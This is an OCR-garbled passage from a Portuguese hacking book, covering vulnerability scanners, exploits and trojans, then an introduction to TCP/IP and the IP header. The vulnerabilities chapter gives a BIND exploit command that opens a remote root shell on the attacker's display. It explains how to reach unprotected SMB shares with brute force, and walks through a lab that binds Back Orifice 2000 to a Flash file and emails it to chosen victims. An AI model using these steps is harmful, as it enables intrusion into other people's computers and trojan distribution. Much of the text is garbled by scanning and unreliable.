divulgada, h uma corrida dos desenvolvedores de software para san-Ias. Mas
tambm h uma outra competio: a dos hackers que querem chegar aos siste-
mas vulnerveis :mtes de serem consertados.
Um scanner de vui11erabilidades pode, por exemplo, descobrir que sua verso
Vulnerabilidades II
Universidade' o ano
do servidor de SMTP sendmail muito antiga e possui o famoso sendmail-bug.
Ou que voc ainda est usando o MSN Messenger 4.6 e, portanto, emprega
controles ActiveX vulnerveis. Ambas so falhas muito antigas, mas - quem se
impona? - se voc no deu ateno aos conselhos de seu guru de segur.l.na
favorito e no atualizou seus sistemas, o problema todo seu. Esses so apenas
dois exemplos das centenas de testes que um nico scanner de vulnerabilidades
pode fazer por voc. Scanners mais modemos j incluem, em um mesmo
software, ponscans, vulnscans e mapeamento de redes. Um exemplo disso o
excelente Nessus (www.nessus.orcl, que ser abordado nos captulos finais.
ExpLoits
Exploils so scripts e programas designados para explorao de
vulnerabilidades em sistemas. Assim como os scanners, eles podem ser usados
tanto por admi.nistradores para testar :IS falhas de segurana em seus servidores
quanto pelos hackers que os utiliz:nn para inva5.1:o e aquisio de informaes.
IH vrios tipos de exploits e elida um possui uma forma diversa de aplicao.
Para alguns deles o hacker precisa ter acesso ao Shell da mquina-alvo. Isso
pode ser conseguido por meio de um cavalo de troia executado pela vtima em
seu sistema. Tal trojan abre uma porta de comunicao (sim, uma porta P f l l ~
com numero determinado e um protocolo) e permite que o invasor tenha total
controle sobre a mquina, o que inclui instalao de progrJmas e, portanto, a
aplicao de qualquer exploit. Note que, neste caso, j houve uma pequena
inv'lso: o exploit permite quebrar OlIlI"OS nveis de seguran:1 e, assim, obter um
acesso mais profundo.
Outros cxploits servem justamente par.l. conseguir o acesso .1 um shell e po-
dem ser 'Iplicados atrJvs de um sitc que contenha um cdigo malicioso escon-
dido. E-mails em fonnato HTML tambm so vetores desse tipo de cdigo. Nor-
malmente, o que esses exploits fazem gerar um estoul"O de pilha (buffer
overflow) e, com isso, confundir a mquina-alvo, f'lzendo-'I abortar o progra
ma em execuo e devolver uma linha de comando. E, por or.l., basta saber que
todos os progr.l.mas possuem uma rea de memria (ou buffer) para trocar
dados com outl"OS programas ou para inter.l.gir com o usurio. Essa rea de
memria tem um tamanho limitado, e progr.l.mas mal escritos comportam-se
de forma estr.l.nha toda vez que o buffer fica cheio. O prximo dado que
tentar entrar no buffer e no conseguir gerar instabilidades no progr.l.ma e
poder paralis-lo.
Um exemplo prtico: descobre-se no endereo vitima.com.br (ateno lammers:
o enden:o ficticio) um sistema Unix rodando tun.:l vers.1:o vulnervel do B1ND,
um servidor de DNS. Um exploit para essa vetS.1:o de BIND chamado bindxplt
encOlllrado no site Rootshell , que pennite a execuo de comandos arbitrrios
pelo daemon no caraClere seguinte ao l"Iltimo que cabia no buffer. Lembrando que
ele s roda com privilc:gios de root, executa-se, na mquina do hacker, o comando:
11451
I Vulnerabilidades I
I Universidade H4CK3R I
146 I
$ bindxplt vitima.com.br "/usr/Xl1R6/bin/xterm -display
200.xxx.yyy.6:0"
Como por mgica, uma janela de X-Terminal se abre na mquina do hacker,
que possui o IP 200.xxx.yyy.6. Dentro dessa janela, o prompt de rOOl da mqui-
na vitima.com.br. a glria!
H miUlares de exploits que podem ser utilizados. Poderamos citar alguns
aqui, mas a quantidade realmente assustadora. Sugerimos parar a leitura do
livro neste ponto e navegar por cada um dos sites citados abaixo. Tome conhe-
cimento de como cada site funciona , baixe alguns exploits de cada um e tente
aplic-los em sistemas vulnerveis.
www.cert.org
www.insecurc.org
www.rootshell.com
www.securityfocus.com
www.packetstormsecurity.org
www.linuxsecurity.com
www.linuxsecurity.com.br
www.hackersplayground.org
www.ntsecurity.nu
www.antionline.com
www.digitalsin.net/cyn/ si n fin ite
www.cexx.org
www.hackinthebox.org
astalavista.hox.sk
Em Tria, como os gregos ...
Uma vez com acesso linha de comando na mquina invadida, uma das pri-
meiras providncias do black-hat instalar um baekdoor. Por meio dele, o hacker
pode entrar e sair do computador invadido sempre que quiser. Mas para instalar
a tal porta de trs, a mquina precisa ser primeiro invadida. Muitos acham que
isso d trabalho demais.
Alguns espertos pensaram: por que no fazer os prprios losers facilitarem o
nosso trabalho? Bem, voc j tem o cho frtil para o nascimento dos primeiros
cavalos de tria. Os trojans, como so comumente chamados, so programas
executveis que controlam todas as partes do computador e comunicam-se com
o mundo exterior. Um hacker conecta-se ao trojan por meio de um backdoor
embutido e pode controlar a distncia a mquina invadida. Em 1998, mais de 250
tipos de trojans conhecidos j estavam atuando nos micros dos mais desavisados,
e desde ento, esse nmero cresceu monstnlosamente, chegando a 580 em 2000.
Hoje em dia, toma-se difCil encontrar um nmero fiel, e mesmo os nmeros
apresentados indicam apenas os trojans encontrados e catalogados. Muitos ain-
da devem andar por a com trojans to antigos quanto indetectveis ..
VuLnerabilidades 11
Universidade 1 ano
A difuso dL'SSe tipo de programa d-se por contgio. Os trojans, em sua maioria,
so desenvolvidos e distribudos como vrus, anexados em mensagens de e-mail
ou em disquetes promscuos, e muitas vezes so escondidos em arquivos ino-
centes, como imagens, apresentaes em Flash e joguinhos. Depois que a pr-
pria vtima instalou o trojan, o computador infectado comea a funcionar como
um :,ervidor. Se h um servidor, h um clieme para se conectar, que est em
poder do hacker.A conexo praticamente imperceptvel pard o usurio leigo,
que, ao se conectar lmernet , est sujeilO ao ataque.
Dois dos trojans mais prticos da atuaLidade so o NClbus c o Back Orifice.
Ambos ocupam pouco espao cm disco (o BO tem apenas 120 KB) e podem
passar despercebidos, pois h a possibilidade de camuflar o uecutvel escon-
dendoo cm outro programa ou arquivo. Aps a instalao, o trojan apaga seus
rastros e toma-se ativo, aguardando <lpcnas que algum se concete ao computa-
dor infectado. Como qualquer outro trojan, o BO e o Netbus so constitudos de
dois arquivos: o cliente e o servidor. Um dos principais problemas de ambos
que os servidores esto restritos famli<l Windows 9.x, embord existam clientes
BO para Windows e Unix.
Entre as funes comuns a ambos, podemos destaCllr:
~ Fornecer um shell para O cliente com acesso irrestrito;
~ Comrolar todos os dispositivos de hardware da m{lquina;
~ Gravar uma imagem da tela do computador invadido;
~ Fazer exames da rede, podendo obtcr senhas e outras informaes;
~ Gravar um arquivo contendo informaes sobre tudo que foi teclado no micro;
~ Possibilitar a abertura de janelas DOS remotamente.
O no e o Netbus so dois trojans muito visados. Todos os antivrus conside-
ramnos como ameaa e intpedem que sejam instalados no computador-desti-
no. Alis, um bom programa antivrus barra mais de 90% dos trojans conheci-
dos. Obviamente h muitos outros por ai que nunca conhecero outro mestre
alem de seu criador e, portanto, sero imunes maioria dos antivrus. Todo
cuidado nesses casos pouco.
m b o ~ csto includos no CD, e rccomendamos que nossa rcde simples (La-
boratrio de Redes l) seja usada para test-los. Leia a documentao de ambos.
familiarize-se com eles e tente controlar outras mquinas.
A criao de bons scanners e exploits demanda conhec imentos em programa-
-Jo e TCP/lP. Para conseguilos. a amilise de cdigos alheios um bom ponto de
partida. Nos CDs, h diversos exemplos em cdigo-fonte de scanners, exploits
e caV'dlos de tria. Dessenferruje seus conhecimentos em Delphy/Kylix, Perl ou
C/C++ e v em frente. No perodo de dois ou trs meses ser possvel escrever
seu prprio scanner em sua linguagem favorita.
11471
I Vulnerabi li dades 1
I Universidade H4CK3R I
148 I
As faLhas de segurana mais comuns em
micros domsticos
Apesar de no ser o alvo preferido dos hackers, os micros domsticos so
timos como rea de treino p'J.f"J. aqueles que querem adentrar no universo das
invases. Geralmente, os usurios domsticos utilizam alguma verso do sistema
operacional Windows, uma verdadeira orgia de falhas para aplicar exploits e tes-
tar trojans. Mesmo os usurios de outros sistemas pessoais, como Linux, FrceBSD
ou MaOS (e do Windows 2000, que relativamente seguro se omparado ao 98),
no escapam desses tipos de ataque, pois nem sempre dominam totalmente as
caractensticas e opes de segurana que esses sistemas operacionais oferecem.
Apresentaremos aqui apenas algumas delas. H muitos exploits nos CDs que
podem e devem ser experimentados, e as novidades em termos de falhas saem
fresquinhas diariamente nos sites especializados. Para um melhor estudo, interes-
sante preparar uma mquina para ser "cobaia" e lig-la em rede com sua estao de
trabalho, de onde os ataques sero originados. Instale diversos sistemas operacionais
(\Vm98/Me!2k!XP, Linux e FrceBSD - um por vez ou todos em mtti-boot, a seu
gosto) e mande brasa! Note que algwnas falhas nem precisam de exploits ...
TCP SYN Scanning versus Windows 95
Uma fallla gritante presente no Windows 95 (mas aparentemente no no 98
nem no Me) a incapacidade de lidar com pacotes SYN. Como veremos no cap-
tulo Redes II , numa conexo TCP/IP de verdade h trs hadshakes bsicos. Quem
pede a conexo manda um pacote SYN, quem aceita a conexo manda um SYN/
ACK e fica esperando um pacote ACK do sistema que solicitou a conexo.
Um portscan tipo TCP SYN nunca enviar o pacote ACK em resposta a SYN/
ACK do Windows. Isso far com que O Windows 95 congele por alguns instan-
tes enquanto espera o pacote. Caso seja feito um flood (enviO de um grande
nmero de pacotes simultneos) SYN, a pilha TCP/IP do Windows trava e
apresentada a famosa "Tela Azul da Morte" (Blue Screen of Oeath ou 8S00).
Experimente faz-lo com o nmap/nmapWm em sua mquina de trabalho, aJX>nL'lfI-
do para o IP da m.-'i.quina "cobaia" e rodando o scan com a opo SYN Stea1th ligada.
Compartilhamentos em computadores Windows
(SMB/CIFS)
A configurao incorreta do protocolo conhecido como Common Internet File
System (CIFS - anteriormente conhecido como 5MB ou Server Message Blocks),
que pennite o compartWlamento de arquivos atravs de redes, pode expor arqui-
vos criticos do sistema ou at mesmo permitir acesso completo do sistema.
Vulnerabili dades II
Universidade 1ano
Usurios corpor.ttivos costumam compartiUlar seus sistemas de arquivos em
sua rede. Ingnuos, ativam essa opo tambm em casa, esquecendo-se de que
esto direlamente conectados Internet. Com isso, abrem as portas par.t que
os hackers faam o que bem quiserem com seus arquivos. Uma conexo deno-
minada "nuU session" (sem usurio e senha) pode pr em risco informaes
pertinentes ao sistema e chaves de registro.
Scanners de vulner.tbilidades (como o j citado Nesslls) normalmente procu-
r.tm por diversas portas, incluindo as portas 135 crCP e UDP), 137 (UDP), 138
(UDP), 139 crCP) e 445 crCP e UDP). Caso pelo menos duas destas portas
estejam (ou aparentem estar) ativas, o computador apresenta-se vulnervel
conexo por compartilhamento.
O procedimento bem simples. Primeiro, use o Nessus para procurar, na
Internet, mquinas com essas portas abertas. Anote todas que encontrar. No
Windows, chame o Internet Explorer e coloque o nmero IP da mquina vulne-
rvel, no formato LAN Manager: \\IP.DA.vTlMA.AQUL Se no houver senha, os
compartilhamentos sero mostrados - basta clicar neles. Caso haja, um bom
quebr.tdor de senhas por bnlte force dar conta do recado.
l __ hI.onI< _, ....... , ... _ ..........
~ 111.'
,*"""do_, lEI I :.:J
Sorbo: I
r._ ... ..-hosedla
Caso esteja em uma mquina nux, podem-se usar os comandos do pacote
samba-clients par.t tentar a conexo, da seguinte fonna:
$ smbclient -L IP.DA.VTIMA_AQUI
Provavelmente sero pedidas senhas par.! mostr.tr os compartilhamentos. No-
vamente deve-se recorrer aos quebr.tdores brote force par.t descobrir as senhas.
11491
I Vulnerabilidades I
I Universidade H4CK3R I
150 I
Se a interface grfica KDE 3 estiver disponivel, pode-se usar o Konqueror. Escre-
va na barra de endereos o lP da vtima da seguinte forma: smb:!!
LPDA.V11MA.AQUV. OS compartilhamentos devem ser exibidos.
Uma curiosidade sobre esse
furo de segurana que original-
mente ele no existia! O Protoco-
lo NetBEUl (antecessor do 5MB!
CIFS) permitia o com par-
tilhamento de arquivos nas redes
LAN Manager, Windows for
Workgroups e nos primeiros
Windows NT. S que o NetBEUl
no era rotevel e, portanto, era
impossvel que grandes redes lP
tivessem conectividade total por
meio dele. Para resolver isso, a
Microsoft estendeu a imple-
mentao do NetBEUI. Batizada
de 5MB, a nova tecnologia per-
mitia o dos
pacotes NetBEUI no protocolo
f<IDt t fa_ __ JanoU .......
!. t. ' .a '" O ,. CID.
0>-

21.0].10010< 11 ri" "
Vod __ ..
""'._ ......
TCP/lP A conexo entre as mquinas era feita pelas portas 137 e 139.
Entretanto, o NetBEUI pelo IP permitia que o pacote fosse rotevel
no s pela rede corporativa mas tambm pela Internet. Nesses casos, h duas
opes para as empresas: isolar completamente a rede interna da Internet ou
no compartilhar nada, nunca. J os usurios domsticos normalmente no tm
o que compartilhar (pois no pertencem a rede alguma) e devem manter esse
recurso desligado.
Servios desnecessariamente ligados
o Unix nunca foi pensado para ser um sistema operacional domstico. Costu-
ma-se dizer que ele foi criado "por programadores, para De-
pois, foi adotado como sistema operacional ideal para servidores e, para isso, foi
recheado com diversos programas e servios especficos de servidor.
Atualmente, o Linux e o FreeBSD esto sendo usados numa escala maior como
50s em estaes de trabalho e micros domsticos. Mas ainda assim so prepa-
rados para ser servidores, uma vez que a maioria das distribuidoras monta suas
caixinhas com produtos "polivalentes" em vez de especializados. Um usurio
domstico talvez nunca precise de um sendmail ou um apache rodando em sua
mquina, mas ainda assim os tem.
O interessante que nem preciso explordf falhas de software como estou-
VuLnerabilidades II
Universidade 1 ano
ro de pilha ou programas comuns com poderes de root. Imagine uma estao
de tr:lbalho Linux com os servios de Finger, FTPeTelnet habilitados. O usurio
no precisa deles - porque a mquina dele nem um servidor - e sequer sabe
que os servios esto ativados. Com O comando finger, um hacker obtm a lista
de usurios cadastrados no sistema. De posse dos nomes de login por brllte
force ou dicionrios, consegue cntr.tr em uma conta de Telnet e, uma vez den-
tro, pode explorar o sistema vontade.
A correo para esta falha simples: desligue tudo o que no for usar.
Buffer Overflow nos servios de Remole Procedure Call
Ainda sobre Unix, alguns servios utilizamse das RPCs, que so, simplificando
a explicao, como se fosse syscalls executadas em outro computador. Por
exemplo, uma mquina Unix utiliza-se do RPC para aplicar o servio de Network
File System (NFS) oferecido por oUl.ra mquina Unix.
H falhas em implementaes de RPC que permitem que programas sejam exe-
cutados no micro invadido a partir de um outro computador remoto. Existem
evidncias de sua utilizao nos ataques DOoS que ocorreram no ano de 1999.
Laboratrio de
Vulnerabilidades I
A principal finalidade dos laboratrios a prtica de algtms pnx:edimentos conside-
rados essenciais para a rotin.:l do hacker. Administradores de sistema devem observ-
los cuidadosamente, JX>is d(.-'Vcm O"taf sempre alentos s tcnicas usadas em invasiles.
Nesse primeiro laboratrio, vamos manter nosso foco na invaso de micros
domsticos - sim, sim, coisa de l:lOlmer. Mas temos de comear de alguma forma,
no acha? E qual seria a melhor maneira para atingir esse objetivo? A resposta
est entre artimanhas mais antigas conhecidas pelo homem: O Cavalo de Tria!
Exatamellle isso! Como na histria, um presente U5.1.do como artificio para a
inV'Jso. Vamos utilizar o mtodo clssico de envio de trojans para as vtimas. Na
verdade, precisaremos de trs arquivos para cumprir a tarefa: o servidor, que vai
controlar o computador invadido, um programa joiner (usado para unir arqui
vos) e o cliente, instalado na mquina do hacker, pam controlar o servidor.
Uti lizaremos o Back Orifice 2000, a novssima verso de um dos trojans mais
ulilizados no mundo. Como j foi comentado anteriormente o programa divi
dido basicamente em duas partes: cliente e servidor. Para instalar o servidor,
nl:cessrio que a vtima rode o executvel em seu computador sem perceber o
que est fazendo. Mas como isso possvel? Simples, vamos utilizar um peque-
no truque de engenharia soei:ll: faremos uso da curiosidade. Em nosso exemplo,
uma imagem carregando o servidor do B02k em suas elllranhas.
Para canlllar nosso agente, emprt:garemos o joiner, um p(.-qucno progr.una que
I 151 I
I Vulnerabilidades I
I Universidade H4CK3R I
1152 1
possibilita a unio de dois arquivos quaisquer. Um deles obrigatoriamente tem de
ser um executvel, que ser aberto antes do segundo. Depois de terrninado, o con-
trole passado pa1""J. o segundo arquivo; se for tambm um binrio ser executado
e, caso seja um arquivo comum, ser aberto no aplicativo correspondente.
Ento, aos troianos! Recomendamos o Dack Orifice 2000, um dos mais conhe-
cidos e prticos da Web, mas voc pode escolher entre uma coleo enorme.
Existem trojans para praticamente todas as platafonnas!
Configurando o servidor
o servidor do BO precisa ser preparado antes da infeco, pois depende de
plug-ins para cada uma das "maldades" a serem feitas. Outro detalhe: necess-
rio informar ao progmma como se comunicar com o hacker.As opes so: por
e-mail, IRC e mesmo ICQ.
'00/00'10,.""., ... ",,,. 1_ x
A configurao simples. Rode o B02K
0-0_'" __ "'"
Configurator. Na tela que se apresenta, 1""'--..... _"''-.".....-... MJ
........ ,--
preencha seus dados, a porta na qual o V_ll """'_ .,I , ..
servidor deve "escutar" e a forma como
ele deve contact-lo para itormar que est r-,-= __ '_-_-_'_'_-__ _
on-linc. H vrias opes, entre elas ICQ. I.
IRC e mesmo e-mail. Existe ainda a possi- __ -
-,
-
bilidadc de definir senhas para a conexo, : ;: ..
impedindo assim que outros hackers usem ; r'-------
o seu BO. Nada que um brute force no : t::=:


resolva, entretanto.
A parte mais imponante da configu-
rao do servidor a definio dos
plug-ins que sero usados. Cada uma
das tarefas bsiC'J.S - controle do com-
putador, navegao pelo sistema de
arquivos, captura da imagem da tela e
criptografia na comunicao, entre ou-
tros - de responsabilidade de um plug
v c.-.v ...
80"- .. --

'" v.t>_ No< .. ".; - I
"'I: V";_lnI$o
.... v.o; _ .........
,
in especfico. Leia a documentao (e o tutorial simples e eficaz incluso no pacote)
para mais detalhes sobre os plug-ins.
Juntando as coisas
Uma vez configurado o servidor, resta-nos unir o arquivo boserve.exe gerado
pelo configurador com o "cav.tlO" - em nosso caso, uma animao em Flash. Para
tanto, voc deve ativar o joiner, que pedir imediatamente o nome do arquivo
executvel (no caso, o servidor) e nossa isca (a animao Flash). Note que h uma
opo caSO o usurio queira ser notificado se algum abrir o arqlVO.
Vulnerabilidades II
Universidade,o ano
....... __ ............. , ...
-
Finalizado esse processo, voc obter um ar-
quivo hbrido que poder ser instalado em qual-
quer mquina. Algo assim:
_ .... _ . .-... _ ...... ,
..


"
,
-
Aps receber a confirma-
o de que o micro rodou o
servidor, hom de utilizar
as funes do cliente. A van-
tagem do Back Orifice o
seu ambiente grfico capaz
de rodar todos os comandos
sem dificuldade alguma. En-
tre os recursos do BD, p0-
demos destacar a criao de
diretrios, movimentao de
arquivos e at a possibilida-
de de reiniciar o sistema.
1Ol_ .... ' j."'"
A gmnde maioria dos joiners funciona da mesma
forma. Alguns apenas em modo texto, mas em gemi
as sentenas de opemo limitam-se aos seguintes
comandos (em DOS):
C:\ > joiner (nome do arquivo servidor) (nome
do arquivo isca)
C\ > ren join.fil goggles.cxe
Agora s escolher as pessoas que vo receber o ser-
vidor e mand-lo por e-mails com assuntos inocentes.
Porta dos fundos
Agom, s brincar com sua presa.
l-lappy hacking!
Consideraces finais

bvio que, neste captulo, apenas arranhamos a superfcie - e no muito.
Aconselliamos a pamr a leitum do livro, visitar todos os sites aqui indicados,
com todas as ferramentas mostmdas e mesmo tentar invadir alguns
computadores, sempre com autorizao da vtima. Demore nesses procedimen-
tos e descubm voc mesmo os meandros desse labirinto escuro.
1153 1
I Vulnerabilidades I
Universidade 2 Ano:
O caminho de um Voyager
Captulo
"Minha terra tem campos de futebol onde cadveres
amanhecem emborcados pra atrapalhar os jogos. Tem
uma pedrinha cor-de-bHe que faz '/uim' na cabea da
gente. Tem tambm muros de bloco (sem pintura,
claro, que tinta a maior frescura quando falta mistura),
onde pousam cacos de vidro pra espantar mataco.
Minha terra tem HK ARI5. M21. 45 eJ8 (na minha terra,
32 uma piada/. As sirenes que aqui apitam, apitam de
repente e sem hora marcada. Elas no so mais as das
fbricas, que fecharam. So mesmo dos cambures,
que vm fazer aleijados, trazer tranqilidade e aflio -:
Quinze cenas de descobrimento de Brasis. 1999,
Fernando Bonassi
I Universidade H4CK3R I
1158 1
TCP/IP: O incio
No captulo anterior sobre redes, tratamos dos aspectos mais bsicos e de-
senvolvemos um breve estudo sobre alguns dos protocolos mais utilizados.
Tal estudo serviu para que pudssemos, posteriormente, conhecer algumas tc-
nicas e procedimentos simples de invaso e fazer experimentos com algumas
ferramentas. Com o conjunto de informaes dos captulos Redes I e
VuLnerabilidades I, adicionado a um pouco de pesquisa nos sites e livros indica-
dos, qualquer um j pode considemr-se um script kiddie e levar a cabo a mai<>
ria dos procedimentos simples de "owning" de computadores domsticos.
Agora a conversa um pouco diferente. Veremos mais adiante (em
Vulnerabilidades II e, posteriormente, nos captulos finaiS) mtodos mais
complexos de ataque a sites, empresas e redes remot;as, todos por intenndio
da Internet. Como ;a Grande Rede baseada na famlia de protocolos TCP/lll
(ou seria o contrrio? O TCP/IP foi criado por causa d;a Internet, afinal de
contas ... ) , ser ela a vedete desta pane do livro.
Mas seremos "m;alvados" com o TCP/IP. A maiori;a dos livros mostra o prot<>
colo de fonna acadmica e bem-comportada. Em nossos estudos, veremos como
podemos desfigurar, fraturar e abusar dele: um verdadeiro estupro digit;al! A
p;al;avra fone, mas ver o estimado leitor que se aplica perfeitamente ao con-
texto cm que empregada. P'.u os h;ackers, ;a tecnologia est a para ser esten-
dida. Ou deturpada ..
Este c;aptulo nunca substituir qu;alquer um dos excelentes livros e artigos
especialmente escritos para revelar todos os meandros c facetas do protocolo
TCP/IJl e sua utilizao prtica. Esperdmos, pelo menos, que sirva como uma
introduo para esses recursos. Aps a leitura deste livro, recomendamos ao
leitor que se aprofunde no esrudo desse protocolo e das tecnologias de rede
baseadas nele. Alm dos livros de Andrcw Tannembaum e do Prof. Gabriel Tor-
res (ambos cham;ados Redes de Compucadores), j citados vrias vezes no de-
correr do livro, recomendamos as seguintes publicaes:
Projeto e Arquitetura de Redes, de JE Dimanio;
Intemetworking com TCP/IP, de Doug Comer;
Aprenc TCP/lP em 14 dias, de Tim Parker;
Administrao de redes TCP/IP, de Craig Hunt ;
TCP/lP IUustrated, volume I, de W Richard Stevens.
Na Internet, h excelentes recursos em portugus disponibilizados por pes-
quisadores de universidades brasileiras, empresas do setor e sites especializados.
Alguns bons trabalhos sobre redes e TCPj[P que recomendamos:
Apostila TCP/IP de CCUEC (www.dicas-l .unicamp.brlTrejnamentos/tcpip);
Notas de Aula TCP/lP, de Ricardo Ueda, Instituto de Matemtica e Estats-
tica da USP (www.ime.usp.br/-ucda/ldoc/notastcp.htmD.
Redes II I
Universidade 2 Ano
E, em ingls, recomendamos:
~ TCP/IP TutoriaJ and TechnicaJ Overview, IBM Red Books
(publib-b.boulder.ibm.com/redbooks.nsf/portals/Networking);
~ Netscape Open Directory (dmoz.org/Computers/lnternet/Protocols).
H ainda na Internet, diversos grupos de discusso sobre redes. Dois dos
grupos, que os autores no s recomendam como lambm participam, so o
Dicas-L, hospedado na Unicamp (www.dicas-l.unicamp.b e mantido pelo
competemssimo Rubens Queiroz de Almeida, e o Redes-L, hospedado e manti-
do pela FAPESP (listas.ansp.br/mailman/listinfo/redes-D.
Por ltimo, sabemos que no Brasil existem diversas publicaes voltadas pard
o usurio de informtica e o administrador de redes. Uma lista delas, tambm
prestigiadas pelos autores, :
~ Info Exame
H4CK3R
~ Geek
~ Revista do Linwr
~ PC Brasil
OSI versus TCP/IP
Continuando de onde pardmos no captulo 2, vamos analisar mais a fundo o
formato e o funcionamento de cada protocolo da famlia TCP/IP, como os
diferentes protocolos interagem entre si e quais as lecnologias envolvidas. O
TCP/lP uma coleo de protocolos presente na Internet. Na realidade, ambas
as entidades so a mesma coisa. Assim como impossvel dissociar o que
energia e o que matria CE=mcZ), no h como precisar se o TCP/JP foi criado
para ser usado na Internet, ou se a Internet apareceu em decorrncia do
TCP/lP. A histria do ovo e a galinha ..
O TCP/lP independente de plataforma. Suas especificaes so abertas e
livres de royalties. Por isso mesmo, acabou tornando-se de fato o padro da in-
dstria mundial e, tambm por isso, usado para levar acessibilidade a computa
dores de todos os tipos e tamanhos, desde dispositivos de mo at mainframes.
A maior parte das publicaes costuma dizer que a famlia TCP/lP preenche
os requisitos de traballlo das camadaS 3 a 4 do modelo de referncia OSI. A
afirmao correta, mas incompleta. Sabemos que cada uma das camadas do
modelo de referncia pode ser implementada com um protocolo diferente,
mesmo porque cada camada independeme. Assim, em teoria possvel fazer
pacotes SPX (uma implementao proprietria da Novell) serem trAnsporta
dos por pacotes Ip, em vez do IPX. Na prtica, o que vemos que os padres
abertos acabam sendo os comumente usados, com raras excees como o
5MB/CIFS da IBM/Microsoft. Podemos, pois, montar um diagrama contendo as
sete camadas 051 e seus representantes no ~ m u n o real":
11591
Redes II
I Universidade H4CK3R I
11601
Camadas dos protocolos de rede
Na prtica OSI Exemplo de aplicao
Aplicao Mail, NF5, HTTP, 5MB
Aplicao Apresentao External Data Representation (XDRI
Sesso
Remate Procedure Calls (RPC)
TCP/UDP Transporte TCP/UDP
IP Rede IP/ICMP
Ethernet Conexo Ethernet
Fsica Fsica Cabo de par tranado categoria 5
ObselVe: na prtica, h aplicativos que fazem as funes das camadas 7,6 e 5.
Como so aplicativos extemos, de implementao livre e que rodam na rea
do usurio, considera-se que todos eles estejam na camada de aplicao.
Protocolo IP
o burro de carga da pilha TCP/lP o protocolo IP. atravs de pacotes IP
(ou seja, quadros de dados montados segundo o protocolo IP) que as mensa-
gens das aplicaes sero transportadas entre as diferentes redes. O protocolo
tambm define como ser o esquema de endereamento para que cada mqui
na tenha um identificador nico em todas as redes. Tal endereamento
implementado com nmeros IP: um gmpo de 32 bits, divididos em quatro gm-
pos de oito (ou seja, quatro bytes) e que obedecem ao definido no protocolo IP
Atente, portanto, pa("'J. o fato de que protocolo Ip, nmero [p e pacote IP no
so a mesma COiS.1!
Neste livro, falaremos exclusivamente de pacotes IP da verso 4, conhecido
como IPv4. As exigncias da Internet atualmente (notadamente desempenho,
seguJ.na e principalmente indisponibilidade de nmeros IPv4) levaram ao
desenvolvimento de um novo protocolo chamado 1M, que est sendo utiliza-
do na Internet 2.
Redes II I
Universidade 2 Ano
o pacote IP
As informaes vindas das camadas superiores (em nosso caso, TCP e UDP)
devem ser inseridas em um pacote de dados para que sejam transmitidas se-
gundo os procedimentos definidos no protocolo IP. Esse pacote montado
segundo um modelo tambm definido no protocolo chamado de Datagrama IP.
Um datagrama IP uma seqncia serial de bytes, dos quais os 20 primeiros
compem o chamado c:Jbe:l1ho IP A aluso a telegramas no cacofonia: um
datagrama parece-se reabnente com seu colega de "carne e s s ~ (ou antes, de
papel e tinta):
Versol41 1 IHLI41 1
T05181 Tamanho Tota1l161
Identificao (161 Flagsl31 1
Fragment Offset(131
nLl81
1
Protocolol8! Nmero de Verificaof16!
Endereo IP de origem(321
Endereo IP de destino(321
Opes (se houver! ( Enchimento
Dados
Os valores entre parnteses indicam o tamanho do campo em bits. No incio
do datagrama temos o campo verso. Como o nome j diz, ele indica a verso
do protocolo IP em uso. Possui quatro bits, o que daria 16 possibilidades de
verses diferentes do protocolo IP. Entretanto, atualmente temos apenas duas,
lPv4 e IPv6. O valor armazenado a numrico, portanto o IPv4 seria represen-
tado pelo nmero binrio 0100, e o lPv6, por 0110.
Observando o cabealho, nota-se que ele formado por linhas de 32 bits de
comprimento. O campo tamanho de cabealho (Internet Header Lengtll ou
IHL) fornece o comprimento do cabealho em nmero de palavras de 32 bits.
Se no houver opes, o valor vlido para esse campo cinco. Havendo op-
es, esse valor pode crescer indefinidamente para acomodar todas.
Os roteadores so equipamentos dotados de certa inteligncia. Eles sabem,
por exemplo, qual das rotas ligadas a ele mais barata ou mais confivel. O
campo tipo de servio (Type of Service ou ToS) permite dar aos roteadores
indicaes sobre como tratar o pacote e por onde envi-lo. Possui quatro flags:
minimizar :Jtraso, maximizar desempenho, maximjz<lr confi:lbilid:Jde e
minimjZ:Jr custo. Baseado nesses flags, o roteador vai encaminhar o pacote IP
pard uma determinada rota. A maioria das implementaes existentes, entre-
tanto, ignora solenemente este campo, portanto seu uso pode no surtir o efei-
to desejado.
1161 1
I Redes II
I Universidade H4CK3R I
1162 1
o campo tamanho total gU:lrd:l o comprimento do datagr:llll:l, em bytes,
englobando todo o cabealho mais o container de dados. Na tcoria, 16 bits
poderiam indicar um tamanho de at 65.535 bytes. Mas um pacote IP de 64 KB
monstruoso. Na prtica, o tamanho padro dos pacotes 576 bytes. Depois
que a conexo for estabelecida e o sistema certificar-se de que todos os seg-
mentos do caminho - principalmente o computador destino - suportam paco-
tes maiores, esse valor pode ser modificado. Alis, um dos mtodos mais anti
gos de negao de servio, ou DoS, era forar o envio de um pacote IP com um
tamanho de 64 kb)'tes. Se o destino no estivesse preparado p:lra um pacote
to grande fatalmente seria derrubado. o conhecido Ping of De:IlIJ.
s vezes necessrio fragmentar o pacote [P. Diversos motivos podem obrigar
um rateador a isso. Um deles rotcar entre duas redes cuja camada 2 (data link)
tenha implementaes com tamanhos de payload diferentes. Por exemplo, entre
uma rede Ethernet, que possui um MTA (maxinlum tmnsfer tulit ) de 1.500 bytes
para uma clula ATM com comprimento de 480 bytes. O pacote II' padro de
576 bytes no C'.abe na clula ATM. Deve-se quebmr o pacote lP em dois, portan-
to, para que (X)ssa tmfegar nesse novo meio. Quando, l do outro lado, os pacotes
fragmentados sarem do ATM em direo a outro segmento Ethernet, deve haver
um mecanismo que possa desfragmentar novamente o pacote.
O campo identificao carrcga um nmcro que reconhece o pacote. na
verdade um contador circular, pois quando a contagem chega em 65535, retorna
a zero. Caso seja necessrio fragment-lo, todas as partes carregado o mesmo
ID. Assim, impossvel confundi-los com fragmentos de outros pacotes. O
campo flags possui trs controles que indicam se um datagrama pode ou no
ser fragmentado e se houve fragmentao. O deslocamento de fragmenta-
o (fragmenr offset) indica :I posio daqucle fragmento dentro do datagrama
original, e usado para a remontagem do mesmo. Cada unidade no fr.Igmcnr
offser representa um deslocamento de 64 bits no pacote original Em pacotes
no fragmentados, o valor desse c4lmpo zero.
Um dos campos mais importantes do datagrama IP o TIL ou Time to tive.
Indica o nmero mximo de rateadores pelos quais o pacote pode passar.
Quando o v4Ilor chega a zero, o pacote descartado. Esse artifcio evit41 que
pacotes IP sem dono vaguem indefmidamemc pela Internet.
O campo protocolo indica qual protocolo de camada 4 nosso pacote IP est
